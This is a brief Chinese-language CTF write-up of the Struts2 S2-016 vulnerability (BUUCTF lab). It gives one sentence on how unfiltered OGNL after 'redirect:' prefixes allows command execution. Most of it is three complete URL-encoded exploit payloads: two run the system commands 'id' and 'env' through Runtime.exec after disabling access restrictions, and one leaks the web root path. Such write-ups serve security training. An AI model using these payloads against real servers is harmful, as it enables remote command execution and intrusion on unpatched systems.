buuctf [struts2]s2-016

漏洞原理

DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀，但是这些前缀后面同时可以跟OGNL表达式，由于struts2没有对这些前缀做过滤，导致利用OGNL表达式调用java静态方法执行任意系统命令
https://blog.csdn.net/u011721501/article/details/41735885

任意命令执行

index.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D

env 打印环境
index.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29%7D

爆网站路径EXP
/index.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D